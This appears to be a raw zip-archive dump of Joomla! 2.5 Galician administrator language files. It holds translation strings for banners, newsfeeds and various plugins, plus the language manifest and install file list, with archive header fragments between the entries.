COM_BANNERS_FIELD_PUBLISH_UP_DESC="Unha data opcional para o comezo da publicación do cartel." COM_BANNERS_FIELD_PUBLISH_UP_LABEL="Comezo da publicación" COM_BANNERS_FIELD_PURCHASETYPE_DESC="Seleccione o tipo de compra na lista." COM_BANNERS_FIELD_PURCHASETYPE_LABEL="Tipo de compra" COM_BANNERS_FIELD_STATE_DESC="Defina o estado do cartel" COM_BANNERS_FIELD_STICKY_DESC="Se o nuncio é pegañento ou non. Se un ou máis carteis nunha categoría son pegañentos, van ter prioridade sobre carteis que non sexan pegañentos. Por exemplo se dous carteis nunha categoría son pegañentos e un terceiro cartel non é pegañento, o terceiro cartel non será amosado no módulo estabelecido como 'Pegañento, ao chou'. Só serán amosados os dous carteis pegañentos." COM_BANNERS_FIELD_STICKY_LABEL="Pegañento" COM_BANNERS_FIELD_TRACKCLICK_DESC="Rexistro dos accesos diarios aos carteis." COM_BANNERS_FIELD_TRACKCLICK_LABEL="Seguimento dos accesos" COM_BANNERS_FIELD_TRACKIMPRESSION_DESC="Rexistro das impresións (vistas) diarias dos carteis." COM_BANNERS_FIELD_TRACKIMPRESSION_LABEL="Seguimento das impresións" COM_BANNERS_FIELD_TYPE_DESC="Elixa un tipo de cartel. Seleccione a imaxe a amosar do cartafol /images/banners/. Seleccione personalizar para inserir un código personalizado." COM_BANNERS_FIELD_TYPE_LABEL="Tipo" COM_BANNERS_FIELD_VALUE_1="Ilimitado" COM_BANNERS_FIELD_VALUE_2="Anualmente" COM_BANNERS_FIELD_VALUE_3="Mensualmente" COM_BANNERS_FIELD_VALUE_4="Semanalmente" COM_BANNERS_FIELD_VALUE_5="Diariamente" COM_BANNERS_FIELD_VALUE_CUSTOM="Custom" COM_BANNERS_FIELD_VALUE_IMAGE="Imaxe" COM_BANNERS_FIELD_VALUE_USECLIENTDEFAULT="-- Empregar predeterminado de cliente --" COM_BANNERS_FIELD_VALUE_USECOMPONENTDEFAULT="-- Empregar predeterminado de compoñente --" COM_BANNERS_FIELD_WIDTH_LABEL="Largura" COM_BANNERS_FIELD_WIDTH_DESC="A largura do cartel" COM_BANNERS_FIELDSET_CONFIG_CLIENT_OPTIONS_LABEL="Opcións de cliente" COM_BANNERS_FIELDSET_CONFIG_CLIENT_OPTIONS_DESC="Estas configuracións aplicaranse a todos os clientes agás se foren alteradas para un cliente específico." COM_BANNERS_FILENAME="%1$s-carteis-seguimento-%2$s" COM_BANNERS_GROUP_LABEL_PUBLISHING_DETAILS="Opcións de publicación" COM_BANNERS_HEADING_ACTIVE="Activo" COM_BANNERS_HEADING_CLICKS="Clicks" COM_BANNERS_HEADING_CLIENT="Cliente" COM_BANNERS_HEADING_CONTACT="Contacto" COM_BANNERS_HEADING_COUNT="Conta" COM_BANNERS_HEADING_IMPRESSIONS="Impresións" COM_BANNERS_HEADING_METAKEYWORDS="Meta palabras clave" COM_BANNERS_HEADING_NAME="Nome" COM_BANNERS_HEADING_PURCHASETYPE="Tipo de compra" COM_BANNERS_HEADING_STICKY="Pegañento" COM_BANNERS_HEADING_TYPE="Tipo" COM_BANNERS_IMPRESSION="Impresión" COM_BANNERS_IMPRESSIONS="%1$s de %2$s" COM_BANNERS_MANAGER="Xestor de carteis" COM_BANNERS_MANAGER_BANNER_EDIT="Xestor de carteis: Modificar cartel" COM_BANNERS_MANAGER_BANNER_NEW="Xestor de carteis: Novo cartel" COM_BANNERS_MANAGER_BANNERS="Xestor de carteis: Carteis" COM_BANNERS_MANAGER_CLIENT_EDIT="Xestor de carteis: Modificar cliente" COM_BANNERS_MANAGER_CLIENT_NEW="Xestor de carteis: Novo cliente" COM_BANNERS_MANAGER_CLIENTS="Xestor de carteis: Clientes" COM_BANNERS_MANAGER_TRACKS="Xestor de carteis: Seguimento" COM_BANNERS_METADATA="Meta datos" COM_BANNERS_N_BANNERS_STUCK="%d carteis pegañentados con éxito." COM_BANNERS_N_BANNERS_STUCK_1="%d cartel pegañentado con éxito." COM_BANNERS_N_BANNERS_UNSTUCK="%d carteis despegañentados con éxito." COM_BANNERS_N_BANNERS_UNSTUCK_1="%d cartel despegañentado con éxito." COM_BANNERS_NEW_BANNER="Novo cartel" COM_BANNERS_NEW_CLIENT="Novo cliente" COM_BANNERS_NO_BANNERS_SELECTED="Sen cartel seleccionado" COM_BANNERS_NO_CLIENT="- No client -" COM_BANNERS_NO_CLIENTS_SELECTED="Ningún cliente seleccionado" COM_BANNERS_NOCATEGORYNAME="Sen categoría" COM_BANNERS_NOCLIENTNAME="Sen cliente" COM_BANNERS_RESET_CLICKS="Reiniciar accesos" COM_BANNERS_RESET_IMPMADE="Reiniciar impresións" COM_BANNERS_SEARCH_IN_TITLE="Buscar no título" COM_BANNERS_SELECT_CLIENT="- Seleccionar cliente -" COM_BANNERS_SELECT_TYPE="- Type -" COM_BANNERS_SUBMENU_BANNERS="Carteis" COM_BANNERS_SUBMENU_CATEGORIES="Categorías" COM_BANNERS_SUBMENU_CLIENTS="Clientes" COM_BANNERS_SUBMENU_TRACKS="Seguimentos" COM_BANNERS_TRACKS_DELETE="Borrar seguimentos" COM_BANNERS_TRACKS_DOWNLOAD="Descargar seguimentos" COM_BANNERS_TRACKS_EXPORT="Exportar" COM_BANNERS_TRACKS_N_ITEMS_DELETED="%d seguimentos borrados con éxito" COM_BANNERS_TRACKS_N_ITEMS_DELETED_1="%d track successfully deleted" COM_BANNERS_TYPE1="Impresións" COM_BANNERS_TYPE2="Clicks" COM_BANNERS_UNLIMITED="Ilimitado" COM_BANNERS_XML_DESCRIPTION="Este compoñente xestiona carteis e clientes dos carteis." JLIB_RULES_SETTING_NOTES="1. Se muda a configuración, esta aplicarase a este compoñente. Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." PK@y>\+3ZZ(language/gl-ES/gl-ES.com_plugins.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_PLUGINS="Xestor de engadidos" COM_PLUGINS_XML_DESCRIPTION="Este compoñente xestiona os engadidos Joomla!" PK@y>\iu u &language/gl-ES/gl-ES.com_newsfeeds.ininuW+A; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Joomla! Project ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_NEWSFEEDS="Semente de noticias" COM_NEWSFEEDS_BATCH_MENU_LABEL="Escoller categoría para mover/copiar" COM_NEWSFEEDS_BATCH_OPTIONS="Procesar por lotes as sementes de novas seleccionadas" COM_NEWSFEEDS_BATCH_TIP="Se escolle copiar unha semente, calquera outra accións seleccionada será aplicada ao elemento copiado. Se non, todas as accións serán aplicadas á semente de novas seleccionada." COM_NEWSFEEDS_CACHE_TIME_HEADING="Tempo da caché" COM_NEWSFEEDS_CATEGORIES_DESC="Estes axustes aplícanse as opcións de categorías de sementes externas a non ser que se cambien nun elemento de menú específico." COM_NEWSFEEDS_CHANGE_FEED_BUTTON="Escoller semente" COM_NEWSFEEDS_CONFIGURATION="Xestor de opcións de semente de novas" COM_NEWSFEEDS_EDIT_NEWSFEED="Modificar semente de novas" COM_NEWSFEEDS_ERROR_UNIQUE_ALIAS="Outra semente de novas de esta categoría ten o mesmo alcume" COM_NEWSFEEDS_FEED_CATEGORY_OPTIONS_LABEL="Amosar opcións da categoría da semente" COM_NEWSFEEDS_FIELD_CACHETIME_DESC="O número de minutos antes que a caché da semente se actualice." COM_NEWSFEEDS_FIELD_CACHETIME_LABEL="Tempo da caché" COM_NEWSFEEDS_FIELD_CATEGORIES_OPTIONS_LABEL="Amosar opcións das categorías das sementes" COM_NEWSFEEDS_FIELD_CATEGORY_DESC="A categoría desta semente está asignada a" COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_DESC="Numero de caracteres a amosar por semente." COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_LABEL="Conta de caracteres" COM_NEWSFEEDS_FIELD_CHARACTERS_COUNT_DESC="Número de caracteres a incluír na semente" COM_NEWSFEEDS_FIELD_CHARACTERS_COUNT_LABEL="Conta de caracteres" COM_NEWSFEEDS_FIELD_CONFIG_CATEGORY_SETTINGS_DESC="Estes axustes aplícanse as opcións da categoría das sementes de novas a non ser que sexan cambiadas un elemento de menú específico." COM_NEWSFEEDS_FIELD_CONFIG_LIST_SETTINGS_DESC="Estes axustes aplícanse as opcións da presentación en lista a non ser que sexan cambiadas un elemento de menú específico." COM_NEWSFEEDS_FIELD_CONFIG_NEWSFEED_SETTINGS_DESC="Estes axustes aplícanse as sementes de novas a non ser que sexan cambiadas un elemento de menú específico." COM_NEWSFEEDS_FIELD_CONFIG_NEWSFEED_SETTINGS_LABEL="Semente de novas" COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_DESC="A orde usada para amosar a semente" COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_LABEL="Orde a amosar da semente" COM_NEWSFEEDS_FIELD_FEED_OPTIONS_DESC="Opcións de visualización da semente" COM_NEWSFEEDS_FIELD_FEED_OPTIONS_LABEL="Opcións de visualización da semente" COM_NEWSFEEDS_FIELD_LANGUAGE_DESC="Asignar un idioma a esta semente de novas" COM_NEWSFEEDS_FIELD_LINK_DESC="Ligazón para a semente de novas" COM_NEWSFEEDS_FIELD_LINK_LABEL="Ligazón" COM_NEWSFEEDS_FIELD_MODIFIED_DESC="A data e hora na que a semente de novas foi modificada" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_DESC="Amosar/Agochar o número de artigos en cada semente (pode estabelecerse este valor en cada semente de novas)" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_LABEL="# artigos" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_DESC="Número de artigos a amosar da semente" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_LABEL="Número de artigos" COM_NEWSFEEDS_FIELD_NUMBER_ITEMS_LIST_DESC="Número predeterminado de sementes para listar nunha páxina." COM_NEWSFEEDS_FIELD_NUMBER_ITEMS_LIST_LABEL="# Sementes a listar" COM_NEWSFEEDS_FIELD_NUMFEEDS_DESC="Número de semente a amosar" COM_NEWSFEEDS_FIELD_NUMFEEDS_LABEL="Número de sementes" COM_NEWSFEEDS_FIELD_OPTIONS="Opcións das sementes" COM_NEWSFEEDS_FIELD_RTL_DESC="Escoller a dirección do idioma da semente" COM_NEWSFEEDS_FIELD_RTL_LABEL="Dirección do idioma" COM_NEWSFEEDS_FIELD_SELECT_CATEGORY_DESC="Escoller a categoría da semente a amosar" COM_NEWSFEEDS_FIELD_SELECT_FEED_DESC="Escoller a semente a amosar" COM_NEWSFEEDS_FIELD_SELECT_FEED_LABEL="Semente" COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_DESC="Amosar/Agochar o número de sementes de novas na categoría" COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_LABEL="# sementes na categoría" COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_DESC="Amosar/Agochar a descrición da semente" COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL="Descrición da semente" COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_DESC="Amosar/Agochar imaxes da semente" COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL="Imaxe da semente" COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_DESC="Amosar/Agochar contido da semente" COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL="Contido da semente" COM_NEWSFEEDS_FIELD_SHOW_LINKS_DESC="Amosar/Agochar as ligazóns URL da semente" COM_NEWSFEEDS_FIELD_SHOW_LINKS_LABEL="Ligazóns da semente" COM_NEWSFEEDS_FIELD_VALUE_LTR="Dirección de esquerda a dereita" COM_NEWSFEEDS_FIELD_VALUE_RTL="Dirección de dereita a esquerda" COM_NEWSFEEDS_FIELD_VALUE_SITE="Dirección do idioma do sitio" COM_NEWSFEEDS_FIELDSET_MORE_OPTIONS_LABEL="Amosar opcións da semente" COM_NEWSFEEDS_FILTER_SEARCH_DESC="Insira aquí o título da semente de nova a buscar." COM_NEWSFEEDS_MANAGER_NEWSFEED="Xestor de semente de novas: Semente de novas" COM_NEWSFEEDS_MANAGER_NEWSFEEDS="Xestor de semente de novas" COM_NEWSFEEDS_N_ITEMS_ARCHIVED="%d sementes de novas arquivadas con éxito" COM_NEWSFEEDS_N_ITEMS_ARCHIVED_1="Semente de novas arquivada con éxito" COM_NEWSFEEDS_N_ITEMS_CHECKED_IN_0="Ningunha semente de novas comprobada con éxito" COM_NEWSFEEDS_N_ITEMS_CHECKED_IN_1="Semente de novas comprobada con éxito" COM_NEWSFEEDS_N_ITEMS_CHECKED_IN_MORE="%d sementes de novas comprobadas con éxito" COM_NEWSFEEDS_N_ITEMS_DELETED="%d sementes de novas eliminadas con éxito" COM_NEWSFEEDS_N_ITEMS_DELETED_1="Semente de novas eliminada con éxito" COM_NEWSFEEDS_N_ITEMS_PUBLISHED="%d sementes de novas publicadas con éxito" COM_NEWSFEEDS_N_ITEMS_PUBLISHED_1="Semente de novas publicada con éxito" COM_NEWSFEEDS_N_ITEMS_TRASHED="%d sementes de novas enviadas ao lixo con éxito" COM_NEWSFEEDS_N_ITEMS_TRASHED_1="Semente de novas enviada ao lixo con éxito" COM_NEWSFEEDS_N_ITEMS_UNPUBLISHED="%d sementes de novas despublicadas con éxito" COM_NEWSFEEDS_N_ITEMS_UNPUBLISHED_1="Semente de novas despublicada con éxito" COM_NEWSFEEDS_NEW_NEWSFEED="Novo" COM_NEWSFEEDS_NO_ITEM_SELECTED="Ningunha semente de novas seleccionada" COM_NEWSFEEDS_NUM_ARTICLES_HEADING="# artigos" COM_NEWSFEEDS_PUBLISH_ITEM="Publicouse a semente de novas" COM_NEWSFEEDS_SAVE_SUCCESS="A semente de novas gardouse con éxito" COM_NEWSFEEDS_SEARCH_IN_TITLE="Buscar" COM_NEWSFEEDS_SELECT_A_FEED="Escoller semente" COM_NEWSFEEDS_SELECT_FEED="Escoller semente" COM_NEWSFEEDS_SHOW_EMPTY_CATEGORIES_DESC="Amosar/Agochar as categorías baleiras. Unha categoría é baleira se non ten sementes de novas nin subcategorías. " COM_NEWSFEEDS_SUBMENU_CATEGORIES="Categorías" COM_NEWSFEEDS_SUBMENU_NEWSFEEDS="Semente de novas" COM_NEWSFEEDS_UNPUBLISH_ITEM="Despublicar semente de novas" COM_NEWSFEEDS_WARNING_PROVIDE_VALID_NAME="Insira un nome válido" COM_NEWSFEEDS_XML_DESCRIPTION="Este compoñente xestiona a sementes de novas RSS e Atom." JGLOBAL_NEWITEMSLAST_DESC="As novas sementes de novas irán á ultima posición de xeito predeterminado. A orde pose ser cambiada unha vez que esta sexa gardada." JLIB_RULES_SETTING_NOTES="1. Se muda a configuración, esta aplicarase a este compoñente. Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." PK@y>\'@H0language/gl-ES/gl-ES.plg_finder_contacts.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTACTS="Busca intelixente - Contactos" PLG_FINDER_CONTACTS_ERROR_ACTIVATING_PLUGIN="Non foi posíbel activar automaticamente o engadido \"_QQ_\"Busca intelixente - Contactos\"_QQ_\"" PLG_FINDER_CONTACTS_XML_DESCRIPTION="Este engadido indexa os contactos Joomla!" PK@y>\Khvv1language/gl-ES/gl-ES.plg_editors-xtd_readmore.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_READMORE="Botón - Ler máis" PLG_READMORE_ALREADY_EXISTS="Xa existe unha ligazón Ler máis que foi inserida e só está permitida unha por artigo. Use a opción {pagebreak} para quebras de páxina adicionais." PLG_READMORE_BUTTON_READMORE="Ler máis" PLG_READMORE_XML_DESCRIPTION="Amosa un botón que permite inserir doadamente unha ligazón Ler máis. nun artigo." PK@y>\/sDD&language/gl-ES/gl-ES.com_menus.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MENUS="Xestor de menús" COM_MENUS_XML_DESCRIPTION="Compoñente para crear menús" PK@y>\ I=.language/gl-ES/gl-ES.plg_system_logout.sys.ininuW+A; @package Joomla ; @subpackage plgSystemLogout ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_SYSTEM_LOGOUT_XML_DESCRIPTION="O engadido de sistema saír ao anonimato activa en Joomla! a redirección do usuario á páxina de inicio, se pasa ao anonimato cando está nunha páxina de acceso protexido." PLG_SYSTEM_LOGOUT="Sistema - Saír ao anonimato" PK@y>\Wkk1language/gl-ES/gl-ES.plg_authentication_gmail.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTHENTICATION_GMAIL="Autenticación - GMail" PLG_GMAIL_FIELD_APPLYSUFFIX_DESC="Opcións de aplicación do sufixo: non aplicar o sufixo, só aplicar o sufixo se non o atopa (empregarase calquera sufixo empregado polo usuario), aplicar sempre o sufixo (reemprazando calquera sufixo fornecido polo usuario)" PLG_GMAIL_FIELD_APPLYSUFFIX_LABEL="Aplicar o sufixo do usuario" PLG_GMAIL_FIELD_SUFFIX_DESC="Un sufixo a empregar polo usuario, normalmente será gmail.com (ou googlemail.com), pero poida que desexe empregar unha conta de Google Apps co seu propio sufixo. Isto non inclúe o símbolo @, se se deixa en brando, ignorarase o sufixo de usuario." PLG_GMAIL_FIELD_SUFFIX_LABEL="Sufixo de usuario" PLG_GMAIL_FIELD_USER_BLACKLIST_DESC="Unha lista de nomes de usuario (separados por vírgulas) non permitidos para acceder a GMail desde este sitio." PLG_GMAIL_FIELD_USER_BLACKLIST_LABEL="Lista negra de usuarios" PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXALWAYS="Aplicar sempre o sufixo" PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXMISSING="Aplicar o sufixo so se non se atopa" PLG_GMAIL_FIELD_VALUE_NOAPPLYSUFFIX="Non aplicar o sufixo" PLG_GMAIL_FIELD_VERIFYPEER_DESC="Comprobar o par de conexión empregando un certificado CA. Nalgunhas situacións a autenticación pode fallar por incidencias co certificado. Desactivando esta opción podería resolver o problema." PLG_GMAIL_FIELD_VERIFYPEER_LABEL="Verificar a conexión" PLG_GMAIL_XML_DESCRIPTION="Manexa a autenticación do usuario con unha conta GMail ou Googlemail (Require cURL).
              Aviso! ten que ter polo menos un engadido de autenticación activado ou perderá o acceso a todo o seu sitio." PK@y>\{P000language/gl-ES/gl-ES.plg_editors_tinymce.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS_TINYMCE="Editor - TinyMCE" PLG_TINY_XML_DESCRIPTION="TinyMCE é un editor HTML WYSIWYG, controlado con JavaScript, independente da plataforma.

              Para ser utilizado, TinyMCE debe ser declarado como o editor predeterminado na configuración global de Joomla! ou autor do perfil do usuario que o desexe." PK@y>\3x!language/gl-ES/gl-ES.localise.phpnuW+A\p |II&language/gl-ES/gl-ES.com_cache.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CACHE="Xestor da caché" COM_CACHE_XML_DESCRIPTION="Compoñente para a xestión da cache" PK@y>\cll-language/gl-ES/gl-ES.plg_editors_none.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS_NONE="Editor - Sen editor" PLG_NONE_XML_DESCRIPTION="Isto carga unha simple caixa de texto para a entrada do texto." PK@y>\Clanguage/gl-ES/gl-ES.xmlnuW+A gl-ES Galician (Galego) gl-ES administrator language 2.5.7.1 2012-09-04 Proxecto Trasno proxecto@trasno.net http://www.trasno.net Copyright (C) 2005 - 2011 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt Galego (gl-ES) gl-ES 0 gl_ES.utf8, gl_ES.UTF-8, gl_ES, gl, galician 1 PK@y>\-,&language/gl-ES/gl-ES.mod_title.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TITLE="Título" MOD_TITLE_XML_DESCRIPTION="Este módulo amosa o título do compoñente na barra de ferramentas." MOD_TITLE_LAYOUT_DEFAULT="Predeterminado" PK@y>\;57&language/gl-ES/gl-ES.mod_login.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LOGIN_XML_DESCRIPTION="Este módulo amosa un formulario de datos de identificación o cal permite inserir o nome de usuario e a clave. Non é posíbel despublicar." MOD_LOGIN="Formulario de identificación" MOD_LOGIN_LAYOUT_DEFAULT="Predeterminado" PK@y>\a>֠/language/gl-ES/gl-ES.plg_content_emailcloak.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_EMAILCLOAK="Contido - Disfrazar correo" PLG_CONTENT_EMAILCLOAK_LINKABLE="Enderezo de correo como ligazón" PLG_CONTENT_EMAILCLOAK_MODE_DESC="Escoller como se amosarán os correos" PLG_CONTENT_EMAILCLOAK_MODE_LABEL="Modo" PLG_CONTENT_EMAILCLOAK_NONLINKABLE="Texto sen ligazón" PLG_CONTENT_EMAILCLOAK_XML_DESCRIPTION="Disfraza os correos no contido empregando JavaScript para evitar a súa detección por parte de robots" PK@y>\ 8!K'K'language/gl-ES/install.xmlnuW+A Galician (Galego) gl-ES gl-ES administrator language 2.5.7.1 2012-09-04 Proxecto Trasno proxecto@trasno.net http://www.trasno.net Copyright (C) 2005 - 2011 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt index.html gl-ES.com_admin.ini gl-ES.com_admin.sys.ini gl-ES.com_banners.ini gl-ES.com_banners.sys.ini gl-ES.com_cache.ini gl-ES.com_cache.sys.ini gl-ES.com_categories.ini gl-ES.com_categories.sys.ini gl-ES.com_checkin.ini gl-ES.com_checkin.sys.ini gl-ES.com_config.ini gl-ES.com_config.sys.ini gl-ES.com_contact.ini gl-ES.com_contact.sys.ini gl-ES.com_content.ini gl-ES.com_content.sys.ini gl-ES.com_cpanel.ini gl-ES.com_cpanel.sys.ini gl-ES.com_finder.ini gl-ES.com_finder.sys.ini gl-ES.com_installer.ini gl-ES.com_installer.sys.ini gl-ES.com_joomlaupdate.ini gl-ES.com_joomlaupdate.sys.ini gl-ES.com_languages.ini gl-ES.com_languages.sys.ini gl-ES.com_login.ini gl-ES.com_login.sys.ini gl-ES.com_mailto.sys.ini gl-ES.com_media.ini gl-ES.com_media.sys.ini gl-ES.com_menus.ini gl-ES.com_menus.sys.ini gl-ES.com_messages.ini gl-ES.com_messages.sys.ini gl-ES.com_modules.ini gl-ES.com_modules.sys.ini gl-ES.com_newsfeeds.ini gl-ES.com_newsfeeds.sys.ini gl-ES.com_plugins.ini gl-ES.com_plugins.sys.ini gl-ES.com_redirect.ini gl-ES.com_redirect.sys.ini gl-ES.com_search.ini gl-ES.com_search.sys.ini gl-ES.com_templates.ini gl-ES.com_templates.sys.ini gl-ES.com_users.ini gl-ES.com_users.sys.ini gl-ES.com_weblinks.ini gl-ES.com_weblinks.sys.ini gl-ES.com_wrapper.ini gl-ES.com_wrapper.sys.ini gl-ES.ini gl-ES.lib_joomla.ini gl-ES.localise.php gl-ES.mod_custom.ini gl-ES.mod_custom.sys.ini gl-ES.mod_feed.ini gl-ES.mod_feed.sys.ini gl-ES.mod_latest.ini gl-ES.mod_latest.sys.ini gl-ES.mod_logged.ini gl-ES.mod_logged.sys.ini gl-ES.mod_login.ini gl-ES.mod_login.sys.ini gl-ES.mod_menu.ini gl-ES.mod_menu.sys.ini gl-ES.mod_multilangstatus.ini gl-ES.mod_multilangstatus.sys.ini gl-ES.mod_popular.ini gl-ES.mod_popular.sys.ini gl-ES.mod_quickicon.ini gl-ES.mod_quickicon.sys.ini gl-ES.mod_status.ini gl-ES.mod_status.sys.ini gl-ES.mod_submenu.ini gl-ES.mod_submenu.sys.ini gl-ES.mod_title.ini gl-ES.mod_title.sys.ini gl-ES.mod_toolbar.ini gl-ES.mod_toolbar.sys.ini gl-ES.mod_version.ini gl-ES.mod_version.sys.ini gl-ES.plg_authentication_gmail.ini gl-ES.plg_authentication_gmail.sys.ini gl-ES.plg_authentication_joomla.ini gl-ES.plg_authentication_joomla.sys.ini gl-ES.plg_authentication_ldap.ini gl-ES.plg_authentication_ldap.sys.ini gl-ES.plg_captcha_recaptcha.ini gl-ES.plg_captcha_recaptcha.sys.ini gl-ES.plg_content_emailcloak.ini gl-ES.plg_content_emailcloak.sys.ini gl-ES.plg_content_finder.ini gl-ES.plg_content_finder.sys.ini gl-ES.plg_content_geshi.ini gl-ES.plg_content_geshi.sys.ini gl-ES.plg_content_joomla.ini gl-ES.plg_content_joomla.sys.ini gl-ES.plg_content_loadmodule.ini gl-ES.plg_content_loadmodule.sys.ini gl-ES.plg_content_pagebreak.ini gl-ES.plg_content_pagebreak.sys.ini gl-ES.plg_content_pagenavigation.ini gl-ES.plg_content_pagenavigation.sys.ini gl-ES.plg_content_vote.ini gl-ES.plg_content_vote.sys.ini gl-ES.plg_editors_codemirror.ini gl-ES.plg_editors_codemirror.sys.ini gl-ES.plg_editors_none.ini gl-ES.plg_editors_none.sys.ini gl-ES.plg_editors_tinymce.ini gl-ES.plg_editors_tinymce.sys.ini gl-ES.plg_editors-xtd_article.ini gl-ES.plg_editors-xtd_article.sys.ini gl-ES.plg_editors-xtd_image.ini gl-ES.plg_editors-xtd_image.sys.ini gl-ES.plg_editors-xtd_pagebreak.ini gl-ES.plg_editors-xtd_pagebreak.sys.ini gl-ES.plg_editors-xtd_readmore.ini gl-ES.plg_editors-xtd_readmore.sys.ini gl-ES.plg_extension_joomla.ini gl-ES.plg_extension_joomla.sys.ini gl-ES.plg_finder_categories.ini gl-ES.plg_finder_categories.sys.ini gl-ES.plg_finder_contacts.ini gl-ES.plg_finder_contacts.sys.ini gl-ES.plg_finder_content.ini gl-ES.plg_finder_content.sys.ini gl-ES.plg_finder_newsfeeds.ini gl-ES.plg_finder_newsfeeds.sys.ini gl-ES.plg_finder_weblinks.ini gl-ES.plg_finder_weblinks.sys.ini gl-ES.plg_quickicon_extensionupdate.ini gl-ES.plg_quickicon_extensionupdate.sys.ini gl-ES.plg_quickicon_joomlaupdate.ini gl-ES.plg_quickicon_joomlaupdate.sys.ini gl-ES.plg_search_categories.ini gl-ES.plg_search_categories.sys.ini gl-ES.plg_search_contacts.ini gl-ES.plg_search_contacts.sys.ini gl-ES.plg_search_content.ini gl-ES.plg_search_content.sys.ini gl-ES.plg_search_newsfeeds.ini gl-ES.plg_search_newsfeeds.sys.ini gl-ES.plg_search_weblinks.ini gl-ES.plg_search_weblinks.sys.ini gl-ES.plg_system_cache.ini gl-ES.plg_system_cache.sys.ini gl-ES.plg_system_debug.ini gl-ES.plg_system_debug.sys.ini gl-ES.plg_system_highlight.ini gl-ES.plg_system_highlight.sys.ini gl-ES.plg_system_languagecode.ini gl-ES.plg_system_languagecode.sys.ini gl-ES.plg_system_languagefilter.ini gl-ES.plg_system_languagefilter.sys.ini gl-ES.plg_system_log.ini gl-ES.plg_system_log.sys.ini gl-ES.plg_system_logout.ini gl-ES.plg_system_logout.sys.ini gl-ES.plg_system_p3p.ini gl-ES.plg_system_p3p.sys.ini gl-ES.plg_system_redirect.ini gl-ES.plg_system_redirect.sys.ini gl-ES.plg_system_remember.ini gl-ES.plg_system_remember.sys.ini gl-ES.plg_system_sef.ini 